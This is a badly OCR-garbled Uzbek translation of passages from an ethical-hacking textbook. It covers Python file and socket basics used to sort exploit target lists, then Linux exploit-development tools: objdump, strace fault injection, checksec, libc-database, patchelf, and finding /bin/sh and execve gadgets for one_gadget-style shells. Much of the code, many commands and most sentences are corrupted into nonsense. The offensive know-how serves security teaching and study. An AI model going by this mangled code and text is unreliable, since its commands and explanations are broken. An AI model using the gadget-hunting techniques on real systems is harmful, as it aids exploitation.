iri v ¢ i ikkita favle:

ko“chirish jarayonj ko‘rib chiqiladi, ] a uning tarkibinj boshqa ikkita faylga

Kali tizimida har biri bitta
Kod ichidagi sharhlar # pe
qilmaydi. Ularn; kiritish
hga yordam beradi,

gan ikkita qobiqdan
di va ular kodning ig
kodning qanday ish)

kalalngda joylash-
lgisi bilan boshlana-
shart emas, lekin ular

foydalanamiz.
hlashiga 1a'sir
ashinij tushunis

E‘r’#uﬁ kalij-f~/Grpy vi/ehi2]
S cat largegy

RPC-DCOM 10.10.20.;. 10.10.20.4
SQL.T,-I-PJ!mrk-p'.r 1010 20.27,10.10. 20.28

# We want to move the contenss of

E—-rk"h. kali)-f~icy THvs sk targets into g separate files
S pvthon3

[RPC-DCOMV10.10.20 4 4, 10.20.4\n

' EQL-SA-Mank-m;-L

tH0.10.20.27.10.10.20.28 n']

# W can also do it with a "with” 'ﬂ."
== switl opent "targers®, "r"l as f:
lines - freadlinesd

dement using the following syntax.

=== lines ’
['RPC-DCOM 10.10.20.1.10. IfJ-J“-~' o f
10.10.20.27,10.10.20.28 ", "w] < that the file is closed anc

ically ensure
f ok s smatically ¢ ! . .
¥ The "with" statement s . - of working with files..
3 1 .

SQL-SA-blank-pw

¥ is seen as "m,k{r{:.upmpm‘n s
¥ Let's organize this info a dictionar.
2 iy i !
== fines dictionary i T
== for line in lines: @ "”_”“ il separate of

HH;' line = line.spliti) # split() Wit s

lineg kev - one linef0]
Aine value = one_linef1]
o Mines Jﬁ'l'ffHFl‘"i‘lfhﬂ“.—lti‘:‘:L-
. & Note: Next line is blan

frailing : 1o start a loop
1 white space

line _1'm‘m'

R anlyl o break out of the for loop

dictionary
s oy e back at python prompl witha P"-”"de
b T Now we s -
=== lines dictionary
{RPC-DCOA: '10.10.
10.10.20.27,10.10.20.287
# Loop next over the keys _‘"“’
> for key in lines_dictiond
; ' lines dictio

1.10.10.204" ’.?QL-.’S',—!-I:.‘mrk-pw'.-
20,1, 10.10.20.

a1 fior each key
{ apen new file for each 8%
rykeyst):
Hﬂr}fkt'}'; i .
split") # hrea

« frar kev
valiee for ke,
; & inta fist
o letrpets steing ;
. targers list f,t,ur_;{{.'f."-'_.'n‘fr.'ﬁf-fl;f Jist)
if fearEels _ie

s ther = len(larg g5 TN
. ;t:””l‘ '”m_:, ——k L str(targets 1
< fuename b s s ') a Jist...
« vailn_file .*:.F:;.’Hff"'rﬂWHLIF-.-;- # for each IP i |

. af i llﬂ"‘-li'll. i )
s far vuln target in Tavd & 'l

; o

. vuln file.write(vuln_1arge

- vuln file.closef)

iber) + "_targels

>3 o) |
kali kuﬁH--ﬁHHn
5 Iz .
RPC-DCOM 2 _targels .*m:: I$
S f--S:T-h!.:mk-pu‘_J .I'HJ"HL. 2
E‘i“f kali kali)-{~ GHHYO ch02]
A

6/ch02]

. 2 fargets
S cat SQL-SA-blank-pw_2-1

10.10.20.27

10.10.20.28 =
! k::ﬁ kali)-[~/GHHYO {;EE:;

[—_;mf RPC-DCOM_2_14

10.10.20.1

10.10.20.4




Ushbu misol bir nechta yangi tushunch
siz fayllardan foydalanish qanchali

ikkita argumentnj oladi ©:
nomi, ikkinchisj esq kirish

; il
alarni taqdim etadi, f””‘”d_i.ldft:: ::{:]
k oson ekanligini Ko*rishingiz ""I'm“_n;_ I:J favl
birinchisi O'qimoqchi yoki yaratmogchi hn-I-‘Tduchl;“
turi. Faylni o'gish (¢ yozish (w) va (a) Ll*-"-“'h'“_lu”umi
ochishingiz mumkip, Harfdan keyin + belgisini qo’shish go*shimcha |Tllll;c\’i" b
qo*shadi; Mmasalan, r+ faylga 0'qish va yozish huquqini beradi. Ruxsatc -E{’ju ﬁ:isﬂl
harfini qo*shish uni ikkilik rejimda ochadi, Ikkinchidan, endi for sxemasig
bor. For SXemasining tuzilishj Quyidagichg:

Sor <iterator-vgl
# Notice the
# Notice the

% Do stuff for each valye iy the liss

M= in <list-10.
Colon at the epd of
indentation

Herage-g, e
the previgy ling

Eslatmg: P
rini belgilash It iz Yelant fone,
10 rtia by Shiliepe

1 vopishih
kerak. QO Shime;

Vthon dastnrlay/, filich ey ey
Ten :f:mr'.’mfr
Hishedi Cl

manholop by

i ! hfr i l'.' i
'F Iobid !
|'Ii_|ll PiE 1peg .lr.n" i1 Chondl v i vy Y i
Ilrll Hl.fihf.' “'I_-;-..,I'_r._l_ II-'.I"..-" FLE |
UZtglar bugggyy gy, ik

M tlieany Ustithi e

F5: a4 il
% INILrT | '
UL R T 1

; B .l'..'"'ll'l‘l.
Myl e Vil

Timicls
mumkin

il

*da C
4 Gaytish blokni yopadi. P}"h{t:,‘,(iikl-
ingdek, if bayonotlari va while ¢
iffoo > 3.
Brintf'Foy Ereater g, 3
elif fo =~ 3.
Printl'Fog equals 37
elye;
Print(‘Fog pog Ereater thay o Cfual 1o 3
while foo « Hi:
Joo = Joo + po

. . Laborg Yaishi2 g
Oxirgj Mavzuy sjfay;
soketlari orgalj y;

ulagich (socket)lar
; Oqdagi
mumkin. Keling, oddiy e

: on
agi sokeq obyektlaring ko'rib chigamiz. P};:]}sh
ulanish va ma’lumot almﬂ? ]na-
_ ; Y mijoz Yaratay|ik i i ' ST
di va “Bjror Narsa ayting.» . aylik, y Hzoqdagi yok; mahalliy xostg
Mijozning ulanighijp;

1
bul giladign. S POradi. Ushbg podnn P kol nelol
abul gilag; T fladé %s ar
mida Servern;j «; q gl gan hjr tladi. Netcat (nc)y

imul i Server” tajah e ki
sozlash Yatsiya gj); 2-portda tir, glovchi sifa

9ali amalgy ggpe 1N Mumking by 424 s
amalga g Iramiz, i 3 : PR i< bi
ishga tushiring: Netcatn; Yangi qobigdg quyidagi sintaksis

thali kali)-{~ GHHv6:chi)2]
l—_Sm- <l -p 4242

h"'.hﬂz 1

'II ;I‘l ] I! Ky i l.i_] i -‘. I -SDL .!'L .S] RE‘I. lr.'
I I iy A Tr A'l. f.. f.l" fr ] +« SOCKCT, |
¥ L] {".{ [ SOCRCH S

indicate byies not sir
4228 i v i 1o indicate b

"' -=T"!Ht’t'ﬂ'I"f”r'ﬂ-’-’i'”-"f_- J'“'J@ # b tag added in python:

- S somerhing.

s.sendih'Sav so

data = s.recv( 102416

s.eloser )/ EY ' s,
printf 'Received', data

cet yaratishda {inslan.n—

ik ilapart Aoy unmma]'llg.d?ﬂ:::nfu qolgan gismi nis-

Socket i-:uluhmn:lslr!.' to*g'ri sozlash !-;erak h;::“ ;:1 a;:sani =i s?*ng—

. ]'lﬂfﬂ“w“'ii::’:mnga O nspasia ki? dan © Fu}'dalanil"% va so n};g.l;“

et 'kzli;ﬂkldﬂ saqlash “""‘.'En’;un-m alohida qobigda Ifh?-?stt?;::;z

Sl i thon3-da .:*.-’m’tf‘pii or narsa ayting:” f{abarml v ilishi ke-

lovehingizda Blfd R mi_]ﬂ?-_gﬂ qa}it?r'hind[}

har ganday netcat qabul thuvchISIﬂl.‘ 1 'nE
‘“"‘qz u:l;ﬁt:iay modellashtirish mumkinligi

damida

Socketni @ yoping. _P};;
g son ﬂ‘«'f:—'“l l;::;a kiritilgan
cerak, Qabul giluvchig o
I:::I-l;‘.llz}n(?shimcha ballar ucgll;I:‘i :.,:::-r
listen(), va accept() meto

0°ylab ko'ring.

Xulosa

i bi ishtiradi.
izl lalari bilan tanis
i va xavisizlik mﬂsar it g
lash NShundmImhva :amanhu kodini ko'rib chigish
turla o
Ushbu bob das Sl

: turlarni

; ingdek, zararli das :

. toitlar yarati>h *= rur. Shuning codini tushunish
Axlogiy xakerlar uLSP[Ua a bo'lishlari za lashda assembler kodini “i'sl lish

stuntach ko'nikmalariga cga b0 iklarni aniq i ish vaqtida tahlil gi
dasturlash ko*nikn ilish yoki zaifl rarli dasturlarni
; islik qihis esa Za

teskari muhandis 1

1 zliklam uzatis 1 i uchun zarur bo*l-
unm 5 | atist iarilishini kuzatish
hi dir. Noso: li d 1y H “i.ndi]nillﬂ bﬂjaﬂ]lﬁhl
I ]I : : {qi.'] q
i irad: ]11'"{.'{]!:'{-
}'le xotirada s

g 1 i Eng
islikni o‘rganishning
cari muhandislikni
h tilini yoki I?Sh%r;ga kirishing!
X sturlash 11 -hun faoly
gan mahoratdir. Fﬂq{dir shuning ucht
du el “‘Ia i}'ﬂ ¥
yaxshi yo'li a

lar
fuchin mARDS -0008/
D‘Shlmc \"J'II Epsfpfp i
QvW-P}“thﬂn'nrgfdin i stackoverflow.com/questi
for Pyho am without Ma ain-in-c [
Style Guide fo rogram 1-without-main- sligoo-4:2goallavo-
Example of {‘:l " :ﬂd,nm-Pfﬂf}"a“gc ¢.gnu.org/onlinedoc
- ¥ i * o
{msf-'lljz?ZSIgﬂr:ﬁng Compiler . w,genem|;usefpylhun3-lransrtmnf
sing do
king-GCC.html org/
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Upgrading to python 3 on mac (correct way) opensource.com/article/19/5/
python-3-default-mac

“A CPU History,” PC Mech, March 23, 2001 (Nik) www.pecmech.com/
article/acpu-history

Art of Assembly Language Prugramming and HLA (Randall Hyde) www.
randallhyde.com ‘
ddd debugger frontend Www.gnu.org/software/ddd/
| Debugging with NASM and gdb Www.csee,.umbe,e
tm
edb debugger github.com/eteran/edh-
“Endianness,” Wikipedia en.wikipe
Good Python tutorial docs.python.o
“How C Programming Works,” Ho
puter.howstuffworks.com/c.htm

“Byte and Bit Order Dissection,” Liny
b g ‘ ’ X Journal, Se 2003
(Kevin Kaichuan He) www.]|nuxj0urnal.|:uma":1rlicIex’ﬁTSS prember 2

Notes on x86 assembly, 1997 (Phil Bowman)
x86asm.ixt

64 bit tutorial, Sonictk sonictk.github.io/asm tutorial/

“Programming Methodology in C» H P ;

u o wi

I o e o (Hugh Anderson) wy, w.comp.nus.edu.

Python home page wwyw,. python.org

Python Tutnr WwWw.pythontutor.com
. “Smashing the Stack for Fun and Profip»
|ssues.l1lm1?issuc=4‘3‘&id=ld#articlc

x86 registers www.eec
-L€Cg.loronto.edy/~ )
gs.html amza/w

x64 architecture doc
bugger/x64-architecture

du/help/nasm/nasm.sh-

debugger

dia.org/wiki/Endianness
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3-BOB. LINUX EKSPLOITLARINI RIVOJLANTIRISH
VOSITALARI

Ushbu bobda quyidagi mavzular yoritiladi: _

« Binar. dinamik ma’lumot yig'ish vositalari: Idd, objdump, strace, Itrace,
checksec. libe-ma’lumotlar bazasi, patchelf, one_gadget va Ropper.

« Python yordamida gdb ni kengaytirish. o +

« Pwntools CTF Framework va eksploitni rivmlununs_i'l k‘utuhmnam.

* HeapME (Heap Made Easy) tahlil va hamkorlik vositasi.

Linux xavfsizligini boshqarish vositalari va undagi to'siglami chetlab o‘tish
usullari m—.nl}rmsiyasi bilan zaifliklami aniglash, buzilishlami tahlil gilish va
eksploitlarni qurish sohalari yanada qiyinlashmoqda. Bu tadgiqotchilarni muhim
zaifliklarni topish va ulardan foydalanish uchun ko*proq vaqt va kuch sarflashga
e ﬁl:;:':ri{:;‘hda ma’lumot yig‘ish, buzilishlami tahlil gilish, disk raskadrovka va

. T R e irishga vordam beradigan turli xil zamo-
eksploitlarni qurish jarayonini soddalashtirishga yordz g

naviy cksploit vositalari ko'rib chigiladi.

Binar, dinamik axborot yig*ish vositalari e
Jarning ba'zilari eksploitlarni }'a!‘aus}! Jﬂl‘ra}-’l;mlda. qo‘llani-
sababli sizga tanish bo*lishi ehll_nm!i yugori, Dastlab,
r. so'ng yangi vositalar taqdim Elﬁl|ﬂdl+ S]lll:nll:lg.lliﬂk. ay-
lami qanday qilib qo‘lda topish mumkinligi batafsil

Ushbu vosita
lishi mumkin bo*lgani
eng ommabop vositala
rim hollarda ushbu ma’lumot
ko*rsatiladi.

Laboratoriya ishi 3.1: Hello.ic ey |

i inasi i boshlanadi. Turli vositalarni

as : ali mashinasiga ulanishdan lanag vos |
sil1ai;dz§al?lsT:3:?51:l u::(hun laboratoriya sifatida foydalaniladigan quyidagi oddiy

it [ iladi:
dasturni yozish uchun matn muharriridan foydalan

hella.c
finclude <stdio. >
Hinclude <stdlib >
finclude <string h=
mt maini) |
char *ghht = malloc(30)

.*L'H'H'vl’.'ﬁ'l.fghh. "[}rﬂ_f ffu'f ffd;_‘kl'-”j: i lal

printfi"%s - ", ghh):
Jreefghh);

puis("6th Edition");
retrn 0;

!
P




o

Bu fayl avval Grey Hat Hacking 6th Edition Git omborini klonlashgan ~/
GHHv6/ch03 jildida ham tagdim etiladi. Endi uning kutilganidek ishlashini
tasdiglash uchun kod kompilyatsiya qilinadi va bajariladi:

Ef.fmﬁ kali)-{~/GHHv6/chi)3]
§ gee hello.c -o hello & & /hello
Gray Hat Hacking - 6th Edition

Laboratoriya ishj 3.2. Idd
Idd vositasi ish vaqtida dasturlay tomonidan yuklangan umumiy kutubxo-
nalarni ko'rsatadi. Bu kutubxonalar $0 qo’shimchasiga egy bo*lib, funksiyalar
ro‘yxatini 0*z ichiga olgan alohida fayllardan iboray. Umumiy kutubxonalardan
foydalanish kodni qayta ishlatishni larg'ib gilish, Kichikroq dasturlarni yozish va
katta ilovalarni saglashni osonlashtirish kabj ko*plab afzalliklarea ega,

Stur tomonidan foydalan; layotgan umumiy ku-
rayonini chuqur tushunish juda muhimdir, Agar

lashda zarur epy; yot choralarini ko*rmasa. bu
g t0°'liq buzilishiga olity kelishi mumkin. Hu-
ruxsatlarini aniglash vq um

: e fogrammin ki Oierite 1.
ramming) texnikasi orqali jro oqimini &) yoki Jop (Jump Urn.nf;.d‘[’.r;i_t,,
foydalanish imkoniyatini yaratadi na gadjetlaridan

Quyida

Idd/bin/ls ni ishga tushirgandan 80*nggi holag keltirilgan:

L_-—.rkm'r' kali)-[~/GHI viiiehl3]
3 Telel ‘hindls

limux-veiso.so. | r&rl’lﬂﬂﬂifﬁ}:.a:e?ﬂ_.rﬂrm;

libselinux.s0.] == Aibix86 64-linux Vibsels

; 4 xafh 64- “Bnulibselinyy ¢

h‘.:'rc..-.'u,ﬁ = -'h&r’xr'i'r&__!‘E-Jvfim.-x-gmrr?r'br..m.ﬁ rFJA'ﬂ:';:];!‘;JIp‘}r :';J-T;H:::fa'ﬂ!?_’r-cmjﬁﬂm

libpcre2-8.50.0 == -?ibfr&ﬁ_EJ-h‘rmxugm.-;.*;'bppm?.5 i g

libell.50.2 => fib/css 6-4-h‘m.-r li o Sl Kl o
x86_ -gmudibel 50,2 0y ‘
.“}';'h6-1.*‘!;!-.":':::(,\‘-.1‘3&-64. 502 ﬂrﬂfﬂ(!ﬂﬂf e @ SR

: 122eb0b000)
libpthread.so.0 == ; .
pthread. so.0 == /ljp, X86_64-linux ~Emulibprhread g (0x000071122¢8 14000 )

Global ofset table (GOT) va procedure linkage table (PLT) yaratish
Olib tashlangan ikkilik fayini tahlil gilganda, funksiyaning xotira manzilini
0'zgartirish uchun objdump’dan foydalanish mumkin.

" — ; - ] AR | f‘]’l :lr;
; f ' vt tabde (GOT) va procedire linkage table f

- ko o .--'1-,r,|'u.-\;f|r¢-r"‘ () i }

Eslatma, NT hobdda glol

Varatish hengicde ko ‘prog nk Tumen bevilads

-R opsiyasidan foydalanib, GOT-da funksiyalar ro*yxatini ko*rsatish mumkin:

tkali kalii-{~ GHHv6 ch03]
|:5-uf:f..|’ump -R . hello
hello: fite format elftd-x86-04

: G 2235
(000000000004020 R_XS6_64_JUMP ﬂﬂ;f "’f"ﬁ?éﬁgg 325
O000000000004028 R_X86_64 JUMP_SLOT prinifa -

225

- @GLIBC 2.2.:
0000000000004030 R_XS6_64_JUMP_SLOT malloc@GLIBC_

Endi puts() funksiyasiga kirish uchun PLT da chagiriladigan manzilni anig-

lash uchun objdump dan foydalaniladi:

kali hali-{~GHING O3]
§ dlydone M .'d 2 {_ij;’:ﬂj:'b ‘;’?:;Tf rip+Ox2fdaf # 4020 puis@
B TIE Iﬂ'l'? da .:',I"'HH () frap

GLIBC 225

_ e a'zi fikrlar: e i
E'tiborga olish kiimrI: ?E'l"lia“lr"lllil‘miﬂa Intel sintaksisi rejimidan foydalanishni
* M intel’ga standa i
belgilaydi;
. i " _disasﬂmhle; . 3 T H .
‘.qusq,m:m.ﬁiiiuqcl1i bo*lgan bﬂ'hm“[h"'].gllﬂ}il%: {PLITin -j .text dan foyda-
;gj'g" kﬂ Ta't yotgan dasturda murojatni tOPISh UCALR = -
ndi tahlil gilayc

laniladi-

tkali kalij-{~ GHHVG .rwﬂ,” ‘hetlo| grep 1040
I:'::thdmw,rr M intel - f 1eX1- :

? >
1es: 8 76 fo fi T call 1040 <puts@plt

’ i topish
arga havolalarni -
: mfka jarayonini tezlashtirishga yordam be-

sh uchun ajratilgan ikkilik fayllardagi satr-
ingi bob 3.9-laboratoriyada, one_gad-

Doimiy sat
disk raska I
arni 1Op!
k bo'ladi (key

Muayyan holatlarda +
rish yoki obyektdagi gadjet

larga havolalarni topish kerak B0 "5 .o 40,
gets'ni go*lda qanday topish hagida ke




Satrlarga havolalarni ikki bosgichda topish mumkin, Birinchi gadam:

kali kali)-[~/GHIVG/ch 03
S strings -ex hello|grep "6uh"
200a 6th Edition

bu yerda -tx (-t radix uchun, xo'n oltilj
dagi ofsetni chop etadi,
Ikkinchi qadam:

k uchun) har bir satr boshida fayl ichi-

E_—-ri'm’r' kalij-f~]
S objdump -M intel -d -“’he-’-’o!grvp -C1 200a
1b9: e8 72 fe ff f call 1030 <frectaple=

I1be: 48 8d 3d 45 (e 00 00 lea redi [rip Hllxed5] # 200 < 10 i
¥ - - L l' j . s I“.’ x
Hes: e8 76 fe ff ff call 1040 <putst@aplr> TR

b Lahuramriya ishi 3.4: strace
strace buyruq gatori ordam dasturi j; iruvlar; i ini kuz
s hn*lga;dg f‘gyd:;idir, urt izim chagiruviari va signallarini kuza-
U ptrace tizim chagiruyini n
lish uchun qo*llaydi, bu esa dasty
imkon beradi. Shuningdek, tizim chagi
muammolarni samaraliroq bartaraf etjs

lar ko*rib chigilgan,
Avvalo, dpkg -1 strace buyrug*
ishonch hosil gilish chunki u standart bo'yi i bi
: che i o i |
0'matish uchun sudg apt install strace b hl!an - .

Argumentlarsiz strace’n; ishga tushiri
signallarini ko‘rsatad, masalan:

E—-nl'm’i kali)-[~/GHHv6/cho3 /
§ strace . Mello

execve("/hello”, [* ‘hello”], Ox7fe5f37c750 o

brk(NULL) = 0x56455a042000 30 vars ¥ = g

writefl, "Gray Hay Hacking - 611, Edition\
) =31

exit_group(() = »
o+ exited with 0 +++

n". 31Gray Her Hacking - 6 Edition

Ma'lum bir tizim murojatni kuzatish/filtrlash uchun -e trace=syscall’dan
quyida ko*rsatilganidek foydalanish mumkin:

l:—~r.fm.’r' kalij-{~ GHHv6 r;rﬂﬁ_.f
S strace -¢ trace=write . hello . .
'3 5::] m-‘.:f -:1. T:’::H::.;:rg -:ﬁr-’r Edition'n", 31Gray Har Hacking - 6th Edition
writefl, "Gray
J =3}
= exited with {1 +++

. s ur 0°zini ganday
Agar write (yozish) funksiyasi amalga oshirilmasa, dast 4 ’

tutadi?

E—rﬁ.‘:n’f kalij-f~ GHHvE t'“"{-""f e Al
8 strace -¢ race=write ..(_!_fli]';f-}" ;1:';1":-;'-”" 31) = -1 ENOSYS (Function not
s B | L -ﬁf!;li'”{ ; F .‘

writer ], "Gray Hat Hacking

implemented) (INJECTED)
« exired with 0 +++ |
ishi q “EAGAIN (Resurs vaqtin-
Shuningdek, xato javob Kiritilishi mumkin, Bunda
Sunngaes, O K
cha mavjud emas)” xatosi kiritiladi:

& ~ ) jf o _‘H.
alt kall-{~ GHING w0 ro-error=EAGAIN Jhello
E_'“ﬂh w1 IIII = write -¢ fault® I'.‘.F'J'IE.H;J"H.I"”E LN aeraree
'h\ -‘;*’"f&' = f;;:iﬂ Hacking - 6th Edition'n”. 3
weitef !, "Gray ® A TED)
temporarily wnavailable) (INEC
Pt pxvited with 0 +++ | |
trace’dan foydalanish mumkin. B_u ‘ugul
- Sc. rejalashtiruvchining tasodifiyligini ka-
- shunish zarur bo‘lgan vaziyatlar mmf'-‘”d;
t}:; | soniya kechikish va yozish funksiyasi
1

itiladi. Odatda, kutilgan vaqt aniqgligi

Kechikishlarni Kiritish mﬁﬂ;'ﬁd;ﬂl
ko'p hollarda foydali hisoblana 1. .
Maytirish orqali holatni }’fmf"(,j?h%gai old

0*qish funksiyasi b“-'af']“klchikish kir
bajarilgandan keyin | soniya K¢
Mikrosekundlarda bo*ladi:

o GHHEch03] i
tkali kali-{~ GHIT ?':f:hn'__#un.’?"- 1000000

S strace -¢ injecr=reads 1000000 hello

€ inject=write:delay_exits

; itriy Levin o'zining
. .rak bo'lsa, Dmlt_r[y
ko‘prog m? Iu";:;;;m ro*yxatini keltirib bergan.
u

da ]{UChIi Xus

Agar strace hagida K
L1t & L)
Zamonaviy strace” nutqi




P
Laboratoriya ishi 3.5: Itrace
Ltraceyordam dasturining asosly vazifasi umumi
Jaatlarni va ulaming javoblarini kuzatishdan iborat, birog u tizim chagiruvlarini
kuzatish uchun ham qo*llanilishi mumkin. Itrace paketining o matilganligini tas-
diglash uchun dpkg -1 Itrace buyrug*idan foydalanish lozim. chunki u Kali Linux
distribyutivida sukut bo‘yicha o'matilmaydi, Agar dastur o'ratilmagan bo'lsa,
uni o‘rnatish uchun sudo apt install Itrace buyrug'i ishlatiladi
Quyida Itrace ./hello’nj ishga tushirgandan keyingi natija keltirilgan:
Irace ./hello buyrug'i bajarilgandan keyingi natija:

y kutuhmnafurga muro-

tkali kalij-{~/GHHv6/cho3 /
§ ltrace hello
mailloc(30) = Ox55fe9¢f772a0
printfi"%s - ", "Gray Hat Hacking")= 19
Jree(Ux55fe9cf772all) = <void=
puts("6th Edition"Gray Har Hacking - 61,
==+ exited (status () +++

Edition) - |2
Eslatma: Tizim murejatlaring Lo e

wsh uehuy -
ek ey

OINIVesfelomn fervedetfeniiin i

Lahoratariya ishi 3.6:

: Cl‘_ECkseu 5]‘_E!I skripti RELRO, NX, Stack Ca::rt;z:s:c"ﬁLR va PIE kabi kom-
plI‘ya[mya vaqtini - yengillashtirish tcxnalngiyalaridan‘ Ii}ydalani]a otganligini
aniglash uchun ::tasturning ELF sarlavhasin; tahlil giladi, By ek | ‘Fl- Ei uchun
cheklovlarni aniglashga yordam beradi. Shunga u‘xshash chm:k:::: I;ujibk1siyﬂ|“ﬁ

va buyruqlari eksploitini ishlab chiqish vositalar;
P ar va h h =y * ‘ TR
ham mavjud (masalan, pwntools checksee funksiyasz]a lonlarining ko pchiligida

Eslatma. X1 bob ko, Pilvatsive v, i
st 1idagi veryvfiormi i ' '
eler ﬂrr}1}~fﬂff i THHM.’ -"h'rc.frf.". = i H””H M””I“ e et hl“ﬂ_
checksec'ni to‘g'ri i
sahifas; i i i
checksec yordamida 0'matish mumkip. Hesidan olish N e
Avval tuzilgan hello dasturida checkse

tilganidek, yengillashtirishlarni ko‘rsatadi
sozlamalarga qarab):

¢'ni ishga tushirish, by yerda ko‘rsa-
(gee konfi

Iguratsiyasi uchun standart

kali kali)-f ~'GHHv6/chi)3 ]l
S checksec ~file=./hello
[*] “hometkaliiG HHv6/ch03/helly
Arch: amd64-64-liye
RELRO: Partial RE LRO

Stack: No canary found
NXD NX enabled
PIE: PIE enabled

Barcha xavfsizlik choralari yogilgan holda hello.c dasturini qayta kompilyat-
siva gilinadi va keyin checksec ishga tushiriladi:

kali kalij-{~ GHHv6 ch03] B v COURCE=2 -5

E;::;ftru:r::{ I¥1,-z.relro,-z.now -02 -D_FORTIFY_SOL e
~fstack-protector-all -o hello-stronger

S checksee -file=. hello-stronger "
[*] “home kali GHHv6 ch03 hello-stronger
Areh: amdad-64-finfe
RELRCO): Full RELRO
Stack: Canary found
NX: NY enabled
PIE: PIE enabled
FORTIFY: Enabled

» i
t ki 3.7: libe-ma’lumotlar hnz?s o
o hi zaifligidan foydalanish r:qua+|| ht_uum
da ﬁ}ydslanilnymgan libc versivasi no-

Laboratoriya bicis
. izib chigis
Ba'zan ma'lumotlaring sizib ¢hiq

PR xﬂsl i o =,
amalga oshiriladi, ammo nm:h?]t;a:,llfqa funksiyalarga ofsetlarni hisoblash mumkin
s 5 H .1 DO
Ma’lum bo'lsa, libc bazasi yo

25 ibc versiyalari ro‘yxatini yuklab
emas. Libe-ma’lumotlar bazasi muslashtlr‘llganlht;;.‘ax ::;}“: I?;c x-'e::s s jeeey
|.d::" = F]‘ larini ajratib oladi va I‘f}rdﬂ B }’?ilni tagdim etish imkonini
? d:fl' b[flgllar TS‘LI drnmi hamda sizib chiggan manz
ash uchun funksiya n

aratadi, ) ini klonlanadi:
y a|d{::hc-ma‘lumﬂﬂﬂf bazasi GitHub omborini

fhali kalil-{=]

2 Cheni f LY el Wi l’“‘“"ﬂ:l’l‘-“"l’-’"ﬁ(-ﬂ“

ﬁ.t"—'”" m:JHI

i ' ini yuklab olish
ha libe versiyalarini y
indi orlangan S ine, Kali va Parrot OS
e G GIdllgd;?a:ny , CentOS. ﬁ:;‘u":'lliit: .K.ali Linux tomoni-
: : ebian, ; _
“mﬂllj'tmk:; s Ubunl:l . rsiyalarni ham }'uLlﬂhl?I:;iji /home/kali/libe-ma’lumotlar
un distro-maxsus vers :

e :lab O
. 1l
dan ishiati]adignn libe x-'er5|fl,|3;:ii: o
Azasi jildida quyidagilar bajar!

E—'f”mﬁ' kali)-[~ ﬁbu-df:mb:ﬂﬁf
8 /ger kali

G



3. Ma'lumotlar bazasida berilgan manzillarda be
barcha libe versiyalarini topish mumkin. puts ofse
dalaniladi va keyin libe-ma’lumotlar bazasinj topi

rilgan nomlarga ega bo'lgan
tgilish uchun readelf"dan foy-
sh skriptidan foydalaniladi:
L—_—-‘kah' kali)-[~Aibe-database]

§ readelf -5 Aib x86_64-limx-gnudibe. so,.6 erep put

430: 00000000000765/M 472 FUNC WEAK DEFAULT 14 Puts G
GLIBC 225

I_—i#m’u’ kali)-{~Aibe-database|
S find puts 7650

kali-glibe (libe6 2.31-9 amdé4 J

kali-glibe (libeG-amd64 2319 i386)

libc database search

ey

3. I-rasm, Hups:/ilibe. blukat,me manzilidagi libc-me Tumotlar
bazasi veb-sahify;

Labnramri}ra ishi 3.8; patchelf

yordam dasturi ELF paiai1.. 1: ouli
0°zgartirishga imkon beradi. Masofavi F bajariladigan fayl kutubxonalarini

. s LU tizim t idan ishlatilad: :
libe versiyasida yig‘ma tahliln; amal; ey Midan ishlatiladigandan boshga

. ; a oshi : SN
imkoniga ega bo‘lganda va by xil ti rayolganda yoki manba kodiga kirish
rishda juda foydali bo*lad;. patchel

rf:il:nég [I.:J[ir nechta libe versiyasini ishga tushi-

! m Git ! i I uni

install patchelf yordamida 0'rnatish mumkinUb poan olish yoki un sudo =

a fhomﬂﬁkalir‘GHHv

iyasidan foydalanish
1. Avval lib Papkasi yaratilad; va ti

nusxa olinadi:

6/ch03/lib katalogiga ko*chirilgan
: I.Echun hello ikkilik fayli tuzatiladi:
Zimning Id-linux.so va libe fayllaridan

{kali kalfy-f~] ]
E—_‘::‘u’ home kali GHHv6 chl3 &&

mkddir lih & & Sk
cp lib6d ld-linux-x86-64.50.2 lib my-ld.so & &

I -5 like-2.31 50 lib libe.so.6

Endi Hello ikkilk faylini tuzatish va o'zgarishlar muvaffgiyatli amalga osh
g ; i BT . Sh mumkin:
rilganligini va dastur ishlayotganligini tasdigla

cali kalii-f~ GHHv6 chl13] ol N
I:.:r:i:‘:!h,;;i{,_q_;'”;,_-;-.;;;-._-h-r_ e (R path . lib he
[ thali kali)-{~ GHHv6/ch03]

8 ldd hello
e 7685400000
limix-vedso.so. 1 (00000 "ffe (e TAT: ¥ Ty
i I”{ﬁ = Ak ”’f'-"‘””*_‘;::;*’::’ iﬂ:‘fh'ﬂi'ma'}?ﬂ.’:h‘i’} [ 3000
"r”' -'H_l'nM_.wJ = fHIﬁJ .Irif-.lrl'l'ﬂ'i_l'-.h A=
[ kali kaliv-{~ GHHv6 ch03]
S, hello ger
Gray Har Hacking - 6th Edition

: . t
Libaceit s iShl-JEEEbc;:fﬁﬁdﬁ:rLL, NULL)'ni baja-
v oadwets lihe'dan topiladi va execvey 7 ddiy usulini ta’'minlaydi.
i o Badaets Ill'“ dﬂﬂ.l'-'_’:';! orgali qobiqn! nliﬁ!mulg n‘sh ymumkin: strings va
N lljl‘dlulm s gadjﬂégﬂl;n:~i ikkita usuldan Ell"d*" - _
shbu sehrli gadje ‘ositasida.
objdump yordamida yoki one_gadget ¥

ump'dan mu
bxonasida /bi

staqil foydalanish

Strings va objd n/sh'ning offset manzilini olish

2 cutu
Avval nishon(target) !‘hct_}‘
Uchun satrlardan foydalaniladi:

§ i ‘Iﬂ!”._f!h'h{f‘i;h:-.i‘.{-::::;ii-g:rra Jibe.s0.61grep /bin'sh
M'u‘f ;;: ;:f: '.;: o i lash uchun objdump’dan foyda-

Keyin /bin/sh qator manziliga havolalart 52
Mishimiz mumkin: .
sy -C8 18al.
s‘fﬁiﬁ: mm-{; Eh:*”:rﬁf;:r:i':s s limcx-gnlibe.50.8 1E7F o
S Ohfdump -M fntel =

cbdla: ¢ 89 ea mov ﬂ-‘-'}'ﬁ'"_f L 18al 56 <.
chd |l g- Jc 89 el mov rs:f.]r; i..il tea vl fri THEIEL,:BC' 225>
chd20: 48 8d 3d 2 ed 0 ! cecve@@ L5

ol) =&

<bd27: e8 94 fo f ff call cb6




Bu yerda yagona cheklov shundaki, bajarilish vaqtida r12 va r13NULLga
teng bo*lishi kerak. Shunday qilib, rdi, rsi va rdx registrlari mos ravishda /bin/sh,
NULL, NULL giymatlarini o'z ichiga oladi.

One_gadget vositasidan foydalanish

Bir nechta glibe versiyalari uchun one_gadgets’ni qo'lda topish vazifasini
bajarish o'miga, sdavid942j tomonidan Ruby’da yozilgan va RubyGems'da
